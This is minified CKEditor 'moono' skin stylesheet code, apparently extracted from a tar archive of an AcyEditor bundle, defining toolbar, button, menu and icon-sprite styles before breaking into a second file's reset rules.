.cke_button_icon{opacity:.3}.cke_hc .cke_button_disabled{opacity:.5}a.cke_button_on:hover,a.cke_button_on:focus,a.cke_button_on:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}a.cke_button_off:hover,a.cke_button_off:focus,a.cke_button_off:active,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{-moz-box-shadow:0 0 1px rgba(0,0,0,.3) inset;-webkit-box-shadow:0 0 1px rgba(0,0,0,.3) inset;box-shadow:0 0 1px rgba(0,0,0,.3) inset;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_button_icon{cursor:inherit;background-repeat:no-repeat;margin-top:1px;width:16px;height:16px;float:left;display:inline-block}.cke_rtl .cke_button_icon{float:right}.cke_hc .cke_button_icon{display:none}.cke_button_label{display:none;padding-left:3px;margin-top:1px;line-height:17px;vertical-align:middle;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5)}.cke_rtl .cke_button_label{padding-right:3px;padding-left:0;float:right}.cke_hc .cke_button_label{padding:0;display:inline-block;font-size:12px}.cke_button_arrow{display:inline-block;margin:8px 0 0 1px;width:0;height:0;cursor:default;vertical-align:top;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_rtl .cke_button_arrow{margin-right:5px;margin-left:0}.cke_hc .cke_button_arrow{font-size:10px;margin:3px -2px 0 3px;width:auto;border:0}.cke_toolbar_separator{float:left;background-color:#c0c0c0;background-color:rgba(0,0,0,.2);margin:5px 2px 0;height:18px;width:1px;-webkit-box-shadow:1px 0 1px rgba(255,255,255,.5);-moz-box-shadow:1px 0 1px rgba(255,255,255,.5);box-shadow:1px 0 1px rgba(255,255,255,.5)}.cke_rtl .cke_toolbar_separator{float:right;-webkit-box-shadow:-1px 0 1px rgba(255,255,255,.1);-moz-box-shadow:-1px 0 1px rgba(255,255,255,.1);box-shadow:-1px 0 1px rgba(255,255,255,.1)}.cke_hc .cke_toolbar_separator{width:0;border-left:1px solid;margin:1px 5px 0 0}.cke_toolbar_break{display:block;clear:left}.cke_rtl .cke_toolbar_break{clear:right}.cke_toolbox_collapser{width:12px;height:11px;float:right;margin:11px 0 0;font-size:0;cursor:default;text-align:center;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_toolbox_collapser:hover{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_toolbox_collapser.cke_toolbox_collapser_min{margin:0 2px 4px}.cke_rtl .cke_toolbox_collapser{float:left}.cke_toolbox_collapser .cke_arrow{display:inline-block;height:0;width:0;font-size:0;margin-top:1px;border-left:3px solid transparent;border-right:3px solid transparent;border-bottom:3px solid #474747;border-top:3px solid transparent}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{margin-top:4px;border-bottom-color:transparent;border-top-color:#474747}.cke_hc .cke_toolbox_collapser .cke_arrow{font-size:8px;width:auto;border:0;margin-top:0;margin-right:2px}.cke_menubutton{display:block}.cke_menuitem span{cursor:default}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#d3d3d3;display:block}.cke_hc .cke_menubutton{padding:2px}.cke_hc .cke_menubutton:hover,.cke_hc .cke_menubutton:focus,.cke_hc .cke_menubutton:active{border:2px solid;padding:0}.cke_menubutton_inner{display:table-row}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:table-cell}.cke_menubutton_icon{background-color:#d7d8d7;opacity:.70;filter:alpha(opacity=70);padding:4px}.cke_hc .cke_menubutton_icon{height:16px;width:0;padding:4px 0}.cke_menubutton:hover .cke_menubutton_icon,.cke_menubutton:focus .cke_menubutton_icon,.cke_menubutton:active .cke_menubutton_icon{background-color:#d0d2d0}.cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_label{padding:0 5px;background-color:transparent;width:100%;vertical-align:middle}.cke_menubutton_disabled .cke_menubutton_label{opacity:.3;filter:alpha(opacity=30)}.cke_menubutton_on{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_menubutton_on .cke_menubutton_icon{padding-right:3px}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#eff0ef}.cke_panel_frame .cke_menubutton_label{display:none}.cke_menuseparator{background-color:#d3d3d3;height:1px;filter:alpha(opacity=70);opacity:.70}.cke_menuarrow{background-image:url(images/arrow.png);background-position:0 10px;background-repeat:no-repeat;padding:0 5px}.cke_rtl .cke_menuarrow{background-position:5px -13px;background-repeat:no-repeat}.cke_menuarrow span{display:none}.cke_hc .cke_menuarrow span{vertical-align:middle;display:inline}.cke_combo{display:inline-block;float:left}.cke_rtl .cke_combo{float:right}.cke_hc .cke_combo{margin-top:-2px}.cke_combo_label{display:none;float:left;line-height:26px;vertical-align:top;margin-right:5px}.cke_rtl .cke_combo_label{float:right;margin-left:5px;margin-right:0}.cke_combo_button{cursor:default;display:inline-block;float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_combo_off a.cke_combo_button:hover,.cke_combo_off a.cke_combo_button:focus{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc');outline:0}.cke_combo_off a.cke_combo_button:active,.cke_combo_on a.cke_combo_button{border:1px solid #777;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 1px 5px rgba(0,0,0,.6) inset;background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_combo_on a.cke_combo_button:hover,.cke_combo_on a.cke_combo_button:focus,.cke_combo_on a.cke_combo_button:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}.cke_rtl .cke_combo_button{float:right;margin-left:5px;margin-right:0}.cke_hc a.cke_combo_button{padding:3px}.cke_hc .cke_combo_on a.cke_combo_button,.cke_hc .cke_combo_off a.cke_combo_button:hover,.cke_hc .cke_combo_off a.cke_combo_button:focus,.cke_hc .cke_combo_off a.cke_combo_button:active{border-width:3px;padding:1px}.cke_combo_text{line-height:26px;padding-left:10px;text-overflow:ellipsis;overflow:hidden;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5);width:60px}.cke_rtl .cke_combo_text{float:right;text-align:right;padding-left:0;padding-right:10px}.cke_hc .cke_combo_text{line-height:18px;font-size:12px}.cke_combo_open{cursor:default;display:inline-block;font-size:0;height:19px;line-height:17px;margin:1px 7px 1px;width:5px}.cke_hc .cke_combo_open{height:12px}.cke_combo_arrow{cursor:default;margin:11px 0 0;float:left;height:0;width:0;font-size:0;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_hc .cke_combo_arrow{font-size:10px;width:auto;border:0;margin-top:3px}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{opacity:.3}.cke_path{float:left;margin:-2px 0 2px}.cke_path_item,.cke_path_empty{display:inline-block;float:left;padding:3px 4px;margin-right:2px;cursor:default;text-decoration:none;outline:0;border:0;color:#4c4c4c;text-shadow:0 1px 0 #fff;font-weight:bold;font-size:11px}.cke_rtl .cke_path,.cke_rtl .cke_path_item,.cke_rtl .cke_path_empty{float:right}a.cke_path_item:hover,a.cke_path_item:focus,a.cke_path_item:active{background-color:#bfbfbf;color:#333;text-shadow:0 1px 0 rgba(255,255,255,.5);-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;-moz-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);-webkit-box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5);box-shadow:0 0 4px rgba(0,0,0,.5) inset,0 1px 0 rgba(255,255,255,.5)}.cke_hc a.cke_path_item:hover,.cke_hc a.cke_path_item:focus,.cke_hc a.cke_path_item:active{border:2px solid;padding:1px 2px}.cke_button__source_label,.cke_button__sourcedialog_label{display:inline}.cke_combo__fontsize .cke_combo_text{width:30px}.cke_combopanel__fontsize{width:120px}.cke_source{font-family:'Courier New',Monospace;font-size:small;background-color:#fff;white-space:pre}.cke_wysiwyg_frame,.cke_wysiwyg_div{background-color:#fff}.cke_chrome{visibility:inherit}.cke_voice_label{display:none}legend.cke_voice_label{display:none}a.cke_button_disabled,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{filter:alpha(opacity = 30)}.cke_button_disabled .cke_button_icon{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr=#00ffffff,endColorstr=#00ffffff)}.cke_button_off:hover,.cke_button_off:focus,.cke_button_off:active{filter:alpha(opacity = 100)}.cke_combo_disabled .cke_combo_inlinelabel,.cke_combo_disabled .cke_combo_open{filter:alpha(opacity = 30)}.cke_toolbox_collapser{border:1px solid #a6a6a6}.cke_toolbox_collapser .cke_arrow{margin-top:1px}.cke_hc .cke_top,.cke_hc .cke_bottom,.cke_hc .cke_combo_button,.cke_hc a.cke_combo_button:hover,.cke_hc a.cke_combo_button:focus,.cke_hc .cke_toolgroup,.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc .cke_toolbox_collapser,.cke_hc .cke_toolbox_collapser:hover,.cke_hc .cke_panel_grouptitle{filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.cke_toolbox_collapser .cke_arrow{border-width:4px}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{border-width:3px}.cke_toolbox_collapser .cke_arrow{margin-top:0}.cke_button__bold_icon {background: url(icons.png) no-repeat 0 -0px !important;}.cke_button__italic_icon {background: url(icons.png) no-repeat 0 -24px !important;}.cke_button__strike_icon {background: url(icons.png) no-repeat 0 -48px !important;}.cke_button__subscript_icon {background: url(icons.png) no-repeat 0 -72px !important;}.cke_button__superscript_icon {background: url(icons.png) no-repeat 0 -96px !important;}.cke_button__underline_icon {background: url(icons.png) no-repeat 0 -120px !important;}.cke_button__blockquote_icon {background: url(icons.png) no-repeat 0 -144px !important;}.cke_rtl .cke_button__copy_icon, .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -168px !important;}.cke_ltr .cke_button__copy_icon {background: url(icons.png) no-repeat 0 -192px !important;}.cke_rtl .cke_button__cut_icon, .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -216px !important;}.cke_ltr .cke_button__cut_icon {background: url(icons.png) no-repeat 0 -240px !important;}.cke_rtl .cke_button__paste_icon, .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -264px !important;}.cke_ltr .cke_button__paste_icon {background: url(icons.png) no-repeat 0 -288px !important;}.cke_button__bgcolor_icon {background: url(icons.png) no-repeat 0 -312px !important;}.cke_button__textcolor_icon {background: url(icons.png) no-repeat 0 -336px !important;}.cke_button__horizontalrule_icon {background: url(icons.png) no-repeat 0 -360px !important;}.cke_button__image_icon {background: url(icons.png) no-repeat 0 -384px !important;}.cke_rtl .cke_button__indent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -408px !important;}.cke_ltr .cke_button__indent_icon {background: url(icons.png) no-repeat 0 -432px !important;}.cke_rtl .cke_button__outdent_icon, .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -456px !important;}.cke_ltr .cke_button__outdent_icon {background: url(icons.png) no-repeat 0 -480px !important;}.cke_button__justifyblock_icon {background: url(icons.png) no-repeat 0 -504px !important;}.cke_button__justifycenter_icon {background: url(icons.png) no-repeat 0 -528px !important;}.cke_button__justifyleft_icon {background: url(icons.png) no-repeat 0 -552px !important;}.cke_button__justifyright_icon {background: url(icons.png) no-repeat 0 -576px !important;}.cke_rtl .cke_button__anchor_icon, .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -600px !important;}.cke_ltr .cke_button__anchor_icon {background: url(icons.png) no-repeat 0 -624px !important;}.cke_button__link_icon {background: url(icons.png) no-repeat 0 -648px !important;}.cke_button__unlink_icon {background: url(icons.png) no-repeat 0 -672px !important;}.cke_rtl .cke_button__bulletedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -696px !important;}.cke_ltr .cke_button__bulletedlist_icon {background: url(icons.png) no-repeat 0 -720px !important;}.cke_rtl .cke_button__numberedlist_icon, .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -744px !important;}.cke_ltr .cke_button__numberedlist_icon {background: url(icons.png) no-repeat 0 -768px !important;}.cke_button__maximize_icon {background: url(icons.png) no-repeat 0 -792px !important;}.cke_rtl .cke_button__pastefromword_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -816px !important;}.cke_ltr .cke_button__pastefromword_icon {background: url(icons.png) no-repeat 0 -840px !important;}.cke_rtl .cke_button__pastetext_icon, .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -864px !important;}.cke_ltr .cke_button__pastetext_icon {background: url(icons.png) no-repeat 0 -888px !important;}.cke_button__removeformat_icon {background: url(icons.png) no-repeat 0 -912px !important;}.cke_rtl .cke_button__source_icon, .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons.png) no-repeat 0 -936px !important;}.cke_ltr .cke_button__source_icon {background: url(icons.png) no-repeat 0 -960px !important;}.cke_button__table_icon {background: url(icons.png) no-repeat 0 -984px !important;}.cke_rtl .cke_button__redo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1008px !important;}.cke_ltr .cke_button__redo_icon {background: url(icons.png) no-repeat 0 -1032px !important;}.cke_rtl .cke_button__undo_icon, .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1056px !important;}.cke_ltr .cke_button__undo_icon {background: url(icons.png) no-repeat 0 -1080px !important;}.cke_rtl .cke_button__sourcedialog_icon, .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1104px !important;}.cke_ltr .cke_button__sourcedialog_icon {background: url(icons.png) no-repeat 0 -1128px !important;}.cke_hidpi .cke_button__bold_icon {background: url(icons_hidpi.png) no-repeat 0 -0px !important;background-size: 16px !important;}.cke_hidpi .cke_button__italic_icon {background: url(icons_hidpi.png) no-repeat 0 -24px !important;background-size: 16px !important;}.cke_hidpi .cke_button__strike_icon {background: url(icons_hidpi.png) no-repeat 0 -48px !important;background-size: 16px !important;}.cke_hidpi .cke_button__subscript_icon {background: url(icons_hidpi.png) no-repeat 0 -72px !important;background-size: 16px !important;}.cke_hidpi .cke_button__superscript_icon {background: url(icons_hidpi.png) no-repeat 0 -96px !important;background-size: 16px !important;}.cke_hidpi .cke_button__underline_icon {background: url(icons_hidpi.png) no-repeat 0 -120px !important;background-size: 16px !important;}.cke_hidpi .cke_button__blockquote_icon {background: url(icons_hidpi.png) no-repeat 0 -144px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__copy_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -168px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__copy_icon,.cke_ltr.cke_hidpi .cke_button__copy_icon {background: url(icons_hidpi.png) no-repeat 0 -192px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__cut_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -216px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__cut_icon,.cke_ltr.cke_hidpi .cke_button__cut_icon {background: url(icons_hidpi.png) no-repeat 0 -240px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__paste_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -264px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__paste_icon,.cke_ltr.cke_hidpi .cke_button__paste_icon {background: url(icons_hidpi.png) no-repeat 0 -288px !important;background-size: 16px !important;}.cke_hidpi .cke_button__bgcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -312px !important;background-size: 16px !important;}.cke_hidpi .cke_button__textcolor_icon {background: url(icons_hidpi.png) no-repeat 0 -336px !important;background-size: 16px !important;}.cke_hidpi .cke_button__horizontalrule_icon {background: url(icons_hidpi.png) no-repeat 0 -360px !important;background-size: 16px !important;}.cke_hidpi .cke_button__image_icon {background: url(icons_hidpi.png) no-repeat 0 -384px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__indent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -408px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__indent_icon,.cke_ltr.cke_hidpi .cke_button__indent_icon {background: url(icons_hidpi.png) no-repeat 0 -432px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__outdent_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -456px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__outdent_icon,.cke_ltr.cke_hidpi .cke_button__outdent_icon {background: url(icons_hidpi.png) no-repeat 0 -480px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyblock_icon {background: url(icons_hidpi.png) no-repeat 0 -504px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifycenter_icon {background: url(icons_hidpi.png) no-repeat 0 -528px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyleft_icon {background: url(icons_hidpi.png) no-repeat 0 -552px !important;background-size: 16px !important;}.cke_hidpi .cke_button__justifyright_icon {background: url(icons_hidpi.png) no-repeat 0 -576px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__anchor_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -600px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__anchor_icon,.cke_ltr.cke_hidpi .cke_button__anchor_icon {background: url(icons_hidpi.png) no-repeat 0 -624px !important;background-size: 16px !important;}.cke_hidpi .cke_button__link_icon {background: url(icons_hidpi.png) no-repeat 0 -648px !important;background-size: 16px !important;}.cke_hidpi .cke_button__unlink_icon {background: url(icons_hidpi.png) no-repeat 0 -672px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__bulletedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -696px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__bulletedlist_icon,.cke_ltr.cke_hidpi .cke_button__bulletedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -720px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__numberedlist_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -744px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__numberedlist_icon,.cke_ltr.cke_hidpi .cke_button__numberedlist_icon {background: url(icons_hidpi.png) no-repeat 0 -768px !important;background-size: 16px !important;}.cke_hidpi .cke_button__maximize_icon {background: url(icons_hidpi.png) no-repeat 0 -792px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastefromword_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -816px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastefromword_icon,.cke_ltr.cke_hidpi .cke_button__pastefromword_icon {background: url(icons_hidpi.png) no-repeat 0 -840px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__pastetext_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -864px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__pastetext_icon,.cke_ltr.cke_hidpi .cke_button__pastetext_icon {background: url(icons_hidpi.png) no-repeat 0 -888px !important;background-size: 16px !important;}.cke_hidpi .cke_button__removeformat_icon {background: url(icons_hidpi.png) no-repeat 0 -912px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__source_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -936px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__source_icon,.cke_ltr.cke_hidpi .cke_button__source_icon {background: url(icons_hidpi.png) no-repeat 0 -960px !important;background-size: 16px !important;}.cke_hidpi .cke_button__table_icon {background: url(icons_hidpi.png) no-repeat 0 -984px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__redo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1008px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__redo_icon,.cke_ltr.cke_hidpi .cke_button__redo_icon {background: url(icons_hidpi.png) no-repeat 0 -1032px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__undo_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1056px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__undo_icon,.cke_ltr.cke_hidpi .cke_button__undo_icon {background: url(icons_hidpi.png) no-repeat 0 -1080px !important;background-size: 16px !important;}.cke_rtl.cke_hidpi .cke_button__sourcedialog_icon, .cke_hidpi .cke_mixed_dir_content .cke_rtl .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1104px !important;background-size: 16px !important;}.cke_hidpi .cke_ltr .cke_button__sourcedialog_icon,.cke_ltr.cke_hidpi .cke_button__sourcedialog_icon {background: url(icons_hidpi.png) no-repeat 0 -1128px !important;background-size: 16px !important;}                                                                                                                                                                                                                           editors/acyeditor/acyeditor/ckeditor/skins/moono/editor_iequirks.css                                0000705                 00000112377 15242051521 0022167 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
.cke_reset{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none}.cke_reset_all,.cke_reset_all *{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none;border-collapse:collapse;font:normal normal normal 12px Arial,Helvetica,Tahoma,Verdana,Sans-Serif;color:#000;text-align:left;white-space:nowrap;cursor:auto;float:none}.cke_reset_all .cke_rtl *{text-align:right}.cke_reset_all iframe{vertical-align:inherit}.cke_reset_all textarea{white-space:pre}.cke_reset_all textarea,.cke_reset_all input[type="text"],.cke_reset_all input[type="password"]{cursor:text}.cke_reset_all textarea[disabled],.cke_reset_all input[type="text"][disabled],.cke_reset_all input[type="password"][disabled]{cursor:default}.cke_reset_all fieldset{padding:10px;border:2px groove #e0dfe3}.cke_reset_all select{box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.cke_reset_all table{table-layout:auto}.cke_chrome{display:block;border:1px solid #b6b6b6;padding:0;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_inner{display:block;-webkit-touch-callout:none;background:#fff;padding:0}.cke_float{border:0}.cke_float .cke_inner{padding-bottom:0}.cke_top,.cke_contents,.cke_bottom{display:block;overflow:hidden}.cke_top{border-bottom:1px solid #b6b6b6;padding:6px 8px 2px;white-space:normal;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left 